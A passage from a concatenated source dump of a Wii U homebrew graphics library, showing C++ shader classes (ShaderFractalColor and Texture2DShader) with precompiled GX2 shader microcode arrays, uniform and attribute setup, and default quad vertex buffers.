0xf8001f80,0x900ca06f,0x00000040,0x00000000, 0xfea01f00,0x00280000,0xfea41f00,0x00280020, 0xfe041f00,0x00280040,0xfd041f80,0x00280060, 0xaf67bb3e,0x00000080,0x7fc41f00,0x00000000, 0x7fc01f80,0x00000020,0xfe041f00,0x100ac00f, 0xfe001f80,0x100ac02f,0xfea01f00,0x00280000, 0xfea41f00,0x00280020,0xfe041f00,0x00280040, 0xfd041f00,0x1028e06f,0x7fc01f82,0x00000000, 0x8c65583e,0x00000080,0x7ea41f00,0x80000000, 0x7ea01f00,0x80000020,0xfee01f00,0x10006040, 0x7fc48f82,0x00000860,0xa7c4623b,0x00000000, 0xfea81f00,0x1000e00f,0x7fcc9f01,0x10006020, 0xfe001f00,0x000a0040,0xfe041f00,0x000a0060, 0xfea89f80,0x10008040,0x8c65583e,0x3acd13bf, 0xfeb81f00,0x7e04c20f,0xfebc1f00,0x7e00822f, 0x03c89f00,0x80060040,0xfea49f00,0x1000e06f, 0xfea41f81,0x10006060,0x00809043,0x8c65583e, 0x3acd13bf,0x00000000,0xfea81f00,0xf880a30f, 0xfe001f00,0x900ca02f,0x7dc41f00,0x1000e04f, 0xfe081f00,0xfd80636f,0x04081f80,0x900c800f, 0x0000803f,0x00000000,0xfea81f00,0xf900620f, 0xfea41f00,0xf900622f,0xfe0c1f00,0x900ca04f, 0xfec00f00,0x1000c46f,0xfefc0f80,0x10006000, 0x00000842,0x00000000,0xfeac1f00,0xf900620f, 0x7fc81f00,0x9000c02f,0x7dc49f00,0x9000e04f, 0x7df08f01,0x10008060,0x030c1f80,0x900ca02f, 0x00000842,0x00000000,0xfea41f00,0x80000000, 0x7ecc1f00,0x9000e02f,0x7e688000,0x80000040, 0xfea81f00,0x80000060,0x7d6c8081,0x80000000, 0xa7c4623b,0x00000000,0xfe001f00,0x000a0000, 0xfe0c1f00,0x000a0020,0xfea41f00,0x80000040, 0x03648000,0xfe08626f,0x7d648081,0xff00420f, 0xa7c4623b,0x00000000,0xfeb01f00,0x7e04620f, 0xfeb41f00,0x7f08662f,0x7c800001,0xff006e4f, 0xfe081f00,0x000a0060,0x03680081,0xfe0c4e0f, 0x00809043,0x00000000,0xfebc1f00,0x7f04620f, 0x7cc41f00,0x00000020,0x7cc49f00,0x1000e04f, 0xff901f00,0x00000060,0xfe981f80,0x00000000, 0x00809043,0x00000000,0xfea81f00,0xf900620f, 0x7cc41f00,0x00000020,0x00c09f00,0x1000c04f, 0xfe0c1f00,0x80010060,0xff001f80,0x80010000, 0x00000842,0x00000000,0xfea81f00,0xf900620f, 0xfecc9f01,0x80000020,0x7fc81f00,0x9000e04f, 0x7dc89f00,0x1000c86f,0xffe01f80,0x80000000, 0x00000842,0x00000000,0xfeac1f00,0xf900620f, 0x7ec81f00,0x9000802f,0xfec49f00,0x9000a040, 0xfea89f00,0x80000060,0xffe01f80,0x9000a060, 0x00000842,0xa7c4623b,0xfea41f00,0x80000000, 0x7ecc1f00,0x9000e02f,0xfe0c1f00,0x000a0040, 0x7c888081,0x80000000,0xa7c4623b,0x00000000, 0xfe001f00,0x000a0000,0xfeb81f00,0x7f08622f, 0xfea49f00,0x80000040,0x048c8081,0xff00420f, 0x00809043,0xa7c4623b,0xfeb01f00,0x7c04620f, 0x03600000,0xff00622f,0xfea49f00,0x80000040, 0xfe081f80,0x000a0060,0x00809043,0x0ccec73c, 0xfebc1f00,0x7f040200,0xfea09f00,0x90000020, 0xfe941f00,0x10000040,0xfe081f80,0x30080060, 0x00809043,0x0ccec73c,0x00041f00,0x20080000, 0x00a01f00,0x80000020,0x002c1f02,0x1000e04f, 0x00081f80,0x80010060,0x0ccec73c,0x00000000, 0xfe201f02,0x1000800f,0xfec81f03,0x80020020, 0xfe041f00,0x20080040,0xfe881f00,0x00000060, 0xfecc9f81,0x9000a06f,0xfe0c1f00,0x000a0000, 0xfe801f00,0x00000020,0xfec01f02,0x80020040, 0xfe281f02,0x1000c06f,0xfe841f82,0x1000804f, 0xfe041f00,0x000a0000,0x7fc81f02,0x00000020, 0xfe8c1f00,0x00000040,0xfecc9f03,0x80020060, 0xfe881f82,0x1000a00f,0x7cc01f02,0x00000000, 0xfe8c1f02,0x1000e02f,0xfec49f00,0x80000040, 0xfe081f00,0x000a0060,0x03c89f80,0x9000e04f, 0x7ecc9f03,0x00000000,0xfec01f00,0x80000020, 0x04c81f00,0x80000040,0x7c880f01,0xfe086a6f, 0x7dac8f81,0x9000800f,0x7da00f00,0xfe04620f, 0xfec01f00,0x80000020,0x03c01f00,0x80000840, 0x03ac0f00,0xfe08c66f,0xfebc9f80,0xfd00420f, 0xe07be53f,0x5c8e5a3f,0xfeb09f00,0xfd00620f, 0x05e81f00,0x9000f02f,0x7fe48f00,0xfe04624f, 0x04ec8f00,0xfe08626f,0x03840f81,0x7f08a20f, 0xe07be53f,0x5c8e5a3f,0x7e0c1f00,0x900ce00f, 0xfe0c1f00,0x900c802f,0x05cc1f00,0x9000e84f, 0xfeb89f80,0xfd00626f,0xe07be53f,0x5c8e5a3f, 0x7cc09f81,0x80000020,0x7fa40f00,0x00280000, 0xfe848f00,0x00280020,0x7fe80f00,0x00280440, 0xfd001f80,0x00280060,0x00000080,0x00000000, 0xfdc01f80,0xf800620f,0x00000243,0x00000000, 0xfea01f80,0x90000060,0x5555d53f,0x00000000, 0x02011f80,0x8c110000,0x02448002,0x80020000, 0xf8402000,0x9006a02f,0x02552081,0x00000040, 0xfe301f00,0x1000e06f,0xfe081f80,0x1033c02f, 0xfe4c2081,0x80060040,0xfee88f81,0x0289e32f, 0x02c59f80,0x80060000,0xfee08f80,0x0285636f, 0xfecc8f80,0x80000000,0xfe40a081,0x80000060, 0x00cc9f81,0x9000e04f,0xfe281f00,0x80060000, 0xf8c01f81,0x9006c02f,0xfee00f81,0xfd80636f, 0x0000803f,0x00000000,0x7ec49f81,0xf880e34f, 0xfe381f80,0x00000000,0x7de40f81,0xfe800360, 0x00011f80,0x8c100000,0xf8001f00,0x900ce00f, 0x00311f00,0x1000e02f,0x02a41f00,0xf910624f, 0x02a01f00,0xf910626f,0x00011f80,0x1033e04f, 0x00000040,0x00000000,0xfecc9f03,0x80020000, 0xfec81f83,0x80020060,0x7fd49f01,0x00000020, 0x7fd41f80,0x00000040,0xfe081f00,0x80010000, 0xfe041f80,0x80010060,0xfee00f01,0x80000000, 0xfeec0f81,0x80000020,0xfec01f00,0x00280000, 0xfec49f00,0x00280020,0x7fe00f00,0x00280040, 0xfd001f80,0x00280060,0x00000080,0x00000000, 0xfe001f80,0x00350000,0x00ec1f82,0x000c0260, 0x01011f00,0x800c0000,0x01051f00,0x800c0020, 0x002c1f00,0x80060040,0xf8008001,0x9006e06f, 0x01091f80,0x800c0000,0x01c01f00,0x90000000, 0xfe088001,0xfd80632f,0x01e81f00,0x90000040, 0x01c49f80,0x90000020,0x0000803f,0x00000000, 0x7fcc9f80,0xf880630f,0xfe20a081,0x80000000, 0x01cc1f80,0x90000060,0xc21e82a7,0x62ccc547, 0x1708607c,0x73ea57a6 }; static const u32 cpPixelShaderRegs[] = { 0x00000106,0x00000002,0x14000003,0x00000000, 0x00000003,0x00000100,0x00000101,0x00000102, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x0000000f,0x00000001,0x00000010, 0x00000000 }; ShaderFractalColor * ShaderFractalColor::shaderInstance = NULL; ShaderFractalColor::ShaderFractalColor() : vertexShader(cuAttributeCount) { //! create pixel shader pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); blurLocation = 0; colorIntensityLocation = 4; fadeOutLocation = 8; fractalLocation = 12; pixelShader.addUniformVar((GX2UniformVar){ "unf_blur_border", GX2_VAR_TYPE_FLOAT, 1, blurLocation, 0xffffffff }); pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_out_alpha", GX2_VAR_TYPE_VEC4, 1, fadeOutLocation, 0xffffffff }); pixelShader.addUniformVar((GX2UniformVar){ "unf_fract_alpha", GX2_VAR_TYPE_INT, 1, fractalLocation, 0xffffffff }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); modelMatrixLocation = 0; projectionMatrixLocation = 16; viewMatrixLocation = 32; vertexShader.addUniformVar((GX2UniformVar){ "modelMatrix", GX2_VAR_TYPE_MAT4, 1, modelMatrixLocation, 0xffffffff }); vertexShader.addUniformVar((GX2UniformVar){ "projectionMatrix", GX2_VAR_TYPE_MAT4, 1, projectionMatrixLocation, 0xffffffff }); vertexShader.addUniformVar((GX2UniformVar){ "viewMatrix", GX2_VAR_TYPE_MAT4, 1, viewMatrixLocation, 0xffffffff }); positionLocation = 0; colorLocation = 1; texCoordLocation = 2; vertexShader.addAttribVar((GX2AttribVar){ "attr_colors", GX2_VAR_TYPE_VEC4, 0, colorLocation }); vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); //! setup attribute streams GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); GX2InitAttribStream(vertexShader.getAttributeBuffer(2), colorLocation, 2, 0, GX2_ATTRIB_FORMAT_8_8_8_8_UNORM); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); //! initialize default quad texture vertexes as those are very commonly used //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); colorVtxs = (u8*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciColorVtxsSize); //! position vertex structure and texture coordinate vertex structure int i = 0; posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); i = 0; texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); for(i = 0; i < (int)ciColorVtxsSize; i++) colorVtxs[i] = 0xff; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVtxs, ciColorVtxsSize); } ShaderFractalColor::~ShaderFractalColor() { if(posVtxs) { free(posVtxs); posVtxs = NULL; } if(texCoords) { free(texCoords); texCoords = NULL; } if(colorVtxs) { free(colorVtxs); colorVtxs = NULL; } delete fetchShader; fetchShader = NULL; } ================================================ FILE: src/video/shaders/ShaderFractalColor.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef SHADER_FRACTAL_COLOR_H_ #define SHADER_FRACTAL_COLOR_H_ #include "VertexShader.h" #include "PixelShader.h" #include "FetchShader.h" class ShaderFractalColor : public Shader { private: ShaderFractalColor(); virtual ~ShaderFractalColor(); static ShaderFractalColor * shaderInstance; static const unsigned char cuAttributeCount = 3; static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; static const u32 ciColorVtxsSize = 4 * cuColorAttrSize; FetchShader *fetchShader; VertexShader vertexShader; PixelShader pixelShader; f32 *posVtxs; f32 *texCoords; u8 *colorVtxs; u32 modelMatrixLocation; u32 viewMatrixLocation; u32 projectionMatrixLocation; u32 positionLocation; u32 colorLocation; u32 texCoordLocation; u32 blurLocation; u32 colorIntensityLocation; u32 fadeOutLocation; u32 fractalLocation; public: static ShaderFractalColor *instance() { if(!shaderInstance) { shaderInstance = new ShaderFractalColor(); } return shaderInstance; } static void destroyInstance() { if(shaderInstance) { delete shaderInstance; shaderInstance = NULL; } } void setShaders(void) const { fetchShader->setShader(); vertexShader.setShader(); pixelShader.setShader(); } void setAttributeBuffer(const u32 & vtxCount = 0, const f32 * posVtxs_in = NULL, const f32 * texCoords_in = NULL, const u8 * colorVtxs_in = NULL) const { if(posVtxs_in && texCoords_in && vtxCount) { VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in); VertexShader::setAttributeBuffer(2, vtxCount * cuColorAttrSize, cuColorAttrSize, colorVtxs_in); } else { //! use default quad vertex and texture coordinates if nothing is passed VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); VertexShader::setAttributeBuffer(2, ciColorVtxsSize, cuColorAttrSize, colorVtxs); } } void setProjectionMtx(const glm::mat4 & mtx) { VertexShader::setUniformReg(projectionMatrixLocation, 16, &mtx[0][0]); } void setViewMtx(const glm::mat4 & mtx) { VertexShader::setUniformReg(viewMatrixLocation, 16, &mtx[0][0]); } void setModelViewMtx(const glm::mat4 & mtx) { VertexShader::setUniformReg(modelMatrixLocation, 16, &mtx[0][0]); } void setBlurBorder(const float & blurBorderSize) { PixelShader::setUniformReg(blurLocation, 4, &blurBorderSize); } void setColorIntensity(const glm::vec4 & vec) { PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); } void setAlphaFadeOut(const glm::vec4 & vec) { PixelShader::setUniformReg(fadeOutLocation, 4, &vec[0]); } void setFractalColor(const int & fractalColorEnable) { PixelShader::setUniformReg(fractalLocation, 4, &fractalColorEnable); } }; #endif // SHADER_FRACTAL_COLOR_H_ ================================================ FILE: src/video/shaders/Texture2DShader.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include "Texture2DShader.h" static const u32 cpVertexShaderProgram[] = { 0x00000000,0x00008009,0x20000000,0x000080a0, 0x3c200100,0x88060094,0x00400000,0x88042014, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x02290001,0x80000000,0x02041f00,0x900c0020, 0x00a11f00,0xfc00624f,0xfd041f00,0x900c4060, 0x02001f80,0x900c0000,0x83f9223e,0x0000803f, 0xfe081f00,0x00080020,0xfe202081,0x10004040, 0xfea49f80,0xfd00620f,0xdb0f49c0,0xdb0fc940, 0xfea01f80,0x9000e06f,0x83f9223e,0x00000000, 0xfe0c1f80,0x00370000,0xffa01f00,0x80000040, 0xff101f00,0x800c0060,0x7f0c1f80,0x80370040, 0x0000103f,0x00000000,0xffa01f00,0x80000000, 0xff001f00,0x800c0020,0x02c51f01,0x80000040, 0xfeac9f80,0x80000060,0x0000103f,0x398ee33f, 0xfea01f00,0x80000000,0x02c19f01,0x9000e02f, 0x01c41f01,0x9000e04f,0x02c59f80,0x80000060, 0x398ee33f,0x00000000,0x01c49f01,0x80000020, 0x02c11f80,0x80000040,0x01e08f00,0xfe04624f, 0x01c01f81,0x7f08626f,0xfe2c2000,0x10004000, 0xfe28a080,0x10004020,0xeb825790,0xb6f711be, 0x7c0e2df2,0x81173cfa }; static const u32 cpVertexShaderRegs[] = { 0x00000103,0x00000000,0x00000000,0x00000001, 0xffffff00,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0x00000000,0xfffffffc, 0x00000002,0x00000000,0x00000001,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x00000000,0x0000000e,0x00000010 }; static const u32 cPixelShaderProgram[] = { 0x20000000,0x00000ca4,0x0b000000,0x00000085, 0x24000000,0x000050a0,0xb0000000,0x000cc080, 0x39000000,0x00005ca0,0xb8000000,0x000cc080, 0x51000000,0x000078a0,0xc0000000,0x000cc080, 0x70000000,0x000064a0,0xc8000000,0x0008c080, 0x8a000000,0x00005ca0,0x0e000000,0x01008086, 0xce000000,0x0000c080,0xa2000000,0x00000ca8, 0x00800000,0x88062094,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00051f00,0x80060000,0x00011f80,0x80060040, 0xfec81f80,0xfb802320,0x01041f80,0x8c220000, 0x00a41f00,0xfc10620f,0x010d1f00,0x900c0021, 0x00091f00,0x80060040,0x00a01f80,0xfc10626f, 0x00000040,0x00000000,0xfe080000,0xfe8cc300, 0xfe088080,0xfe80c320,0x00a11f00,0xfe000200, 0x00a51f00,0xfe040220,0x00a19f00,0xfe000240, 0x00a59f00,0xfe040260,0x00a11f81,0xfe002600, 0x4260e5bc,0xa69bc4bc,0x0ad7a3bc,0x00000000, 0x00a11f00,0x06004200,0x00a59f00,0x06042220, 0x00a51f00,0x06044240,0x00a11f01,0x06008260, 0x00a51f81,0x06048620,0x6f1283bc,0x0ad7a3bc, 0xa69b44bc,0x00000000,0x00a41f00,0x80000000, 0x00a01f00,0x80000020,0x00ac1f00,0x80000040, 0x00a81f00,0x80000060,0x00a19f80,0x06000600, 0xcac3123c,0x6f1203bc,0x03a41f00,0xfe00620f, 0x03a01f00,0xfe04622f,0x03ac1f00,0xfe08624f, 0x03a81f00,0xfe0c626f,0x00a59f80,0x06040620, 0xcc28913b,0x6f1203bc,0x01a41f00,0xfe00620f, 0x01a01f00,0xfe04622f,0x01ac1f00,0xfe08624f, 0x01a81f00,0xfe0c626f,0x00a19f80,0x06002600, 0xe8eab03c,0x6f1283bb,0x02ac1f00,0xfe084200, 0x02a81f00,0xfe0c4220,0x02a41f00,0xfe004240, 0x02a01f00,0xfe044260,0x00a59f80,0x06042620, 0x92bb353d,0x6f1283bb,0x04a81f00,0x0204620f, 0x04ac1f00,0x0200662f,0x04a41f00,0x0208624f, 0x04a01f00,0x020c626f,0x00a19f80,0x06004600, 0xc4139f3d,0x6f12833b,0x00a41f00,0xfe08620f, 0x00a01f00,0xfe0c622f,0x00ac1f00,0xfe04624f, 0x00a81f00,0xfe00626f,0x00a59f80,0x06044620, 0xb950ed3d,0x6f12833b,0x01a41f00,0xfe00620f, 0x01a01f00,0xfe04622f,0x01ac1f00,0xfe08624f, 0x01a81f00,0xfe0c626f,0x00a19f80,0x06002600, 0xecd7163e,0x6f12033c,0x03a41f00,0xfe000200, 0x03a01f00,0xfe040220,0x03ac1f00,0xfe082240, 0x03a81f00,0xfe0c2260,0x00a59f80,0x06042620, 0x2168233e,0x6f12033c,0x00a11f00,0x06006200, 0x00a51f00,0x06046220,0x00a19f00,0x06006240, 0x00a59f00,0x06046260,0x00a11f81,0x0600e600, 0xa69b443c,0x6f12833c,0x0ad7a33c,0x00000000, 0x02ac1f00,0x0108620f,0x02a81f00,0x010c622f, 0x02a41f00,0x0000624f,0x02a01f00,0x0004666f, 0x00a59f80,0x0604e620,0xecd7163e,0x0ad7a33c, 0x04a81f00,0xfe04620f,0x04ac1f00,0xfe00622f, 0x04a41f00,0xfe08624f,0x04a01f00,0xfe0c626f, 0x00a19f80,0x06008600,0xb950ed3d,0xa69bc43c, 0x05a41f00,0xfe08620f,0x05a01f00,0xfe0c622f, 0x05ac1f00,0xfe04624f,0x05a81f00,0xfe00626f, 0x00a59f80,0x06048620,0xc4139f3d,0xa69bc43c, 0x03a41f00,0xfe00a200,0x03a01f00,0xfe04a220, 0x03ac1f00,0xfe086240,0x03a81f00,0xfe0c6260, 0x00a19f80,0x06006600,0x92bb353d,0x4260e53c, 0x00a51f80,0x06046220,0x4260e53c,0x00000000, 0x07ac1f00,0x0308620f,0x07a81f00,0x030c622f, 0x07a41f00,0x0500624f,0x07a01f80,0x0504626f, 0xe8eab03c,0x00000000,0x04a81f00,0xfe04620f, 0x04ac1f00,0xfe00622f,0x04a41f00,0xfe08624f, 0x04a01f80,0xfe0c626f,0xcac3123c,0x00000000, 0x06a41f00,0xfe08620f,0x06a01f00,0xfe0c622f, 0x06ac1f00,0xfe04624f,0x06a81f80,0xfe00626f, 0xcc28913b,0x00000000,0xfe20a000,0x9000e00f, 0xfe242000,0x9000e02f,0xfe28a001,0x9000e04f, 0xfe2c2081,0x9000e06f,0xfe28a081,0x80060020, 0xfee48f00,0x7f842300,0xfee40f00,0x7f802320, 0xfee48f01,0x7f8c2340,0xfee40f81,0x08842b60, 0x00202000,0x90002000,0x0024a000,0x90002020, 0x00282001,0x90002040,0x002ca081,0x90002060, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x10000000,0x03100df0,0x00008010,0xecdfea0d, 0x10000000,0x00100df0,0x0000a051,0xecdfea0d, 0x10000100,0x01100df0,0x00008010,0xecdfea0d, 0x10000200,0x02100df0,0x00000011,0xecdfea0d, 0x10000400,0x04100df0,0x0000b070,0xecdfea0d, 0x10000000,0x00100df0,0x00008010,0xecdfea0d, 0x10000100,0x01100df0,0x00008010,0xecdfea0d, 0x10000600,0x03100df0,0x00008010,0xecdfea0d, 0x10000200,0x02100df0,0x00008010,0xecdfea0d, 0x10000100,0x04100df0,0x00008010,0xecdfea0d, 0x10000300,0x05100df0,0x00008010,0xecdfea0d, 0x10000300,0x03100df0,0x0000a051,0xecdfea0d, 0x10000700,0x07100df0,0x00008010,0xecdfea0d, 0x10000400,0x04100df0,0x00008010,0xecdfea0d, 0x10000300,0x06100df0,0x00008010,0xecdfea0d, 0x10000000,0x00100df0,0x00008010,0xecdfea0d, 0xc8581837,0x22740275,0x281eddcc,0xfa8b9b65 }; static const u32 cPixelShaderRegs[] = { 0x00000109,0x00000002,0x14000001,0x00000000, 0x00000001,0x00000100,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x0000000f,0x00000001,0x00000010, 0x00000000 }; Texture2DShader * Texture2DShader::shaderInstance = NULL; Texture2DShader::Texture2DShader() : vertexShader(cuAttributeCount) { //! create pixel shader pixelShader.setProgram(cPixelShaderProgram, sizeof(cPixelShaderProgram), cPixelShaderRegs, sizeof(cPixelShaderRegs)); blurLocation = 0; colorIntensityLocation = 4; pixelShader.addUniformVar((GX2UniformVar){ "unf_blur_texture_direction", GX2_VAR_TYPE_VEC3, 1, blurLocation, 0xffffffff }); pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); samplerLocation = 0; pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); angleLocation = 0; offsetLocation = 4; scaleLocation = 8; vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_VAR_TYPE_FLOAT, 1, angleLocation, 0xffffffff }); vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_VAR_TYPE_VEC3, 1, offsetLocation, 0xffffffff }); vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_VAR_TYPE_VEC3, 1, scaleLocation, 0xffffffff }); positionLocation = 0; texCoordLocation = 1; vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); //! setup attribute streams GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); //! defaults for normal square //! position vertex structure and texture coordinate vertex structure int i = 0; posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); i = 0; texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); } Texture2DShader::~Texture2DShader() { if(posVtxs) { free(posVtxs); posVtxs = NULL; } if(texCoords) { free(texCoords); texCoords = NULL; } delete fetchShader; fetchShader = NULL; } ================================================ FILE: src/video/shaders/Texture2DShader.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef __TEXTURE_2D_SHADER_H_ #define __TEXTURE_2D_SHADER_H_ #include "VertexShader.h" #include "PixelShader.h" #include "FetchShader.h" class Texture2DShader : public Shader { private: Texture2DShader(); virtual ~Texture2DShader(); static const u32 cuAttributeCount = 2; static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; static const u32 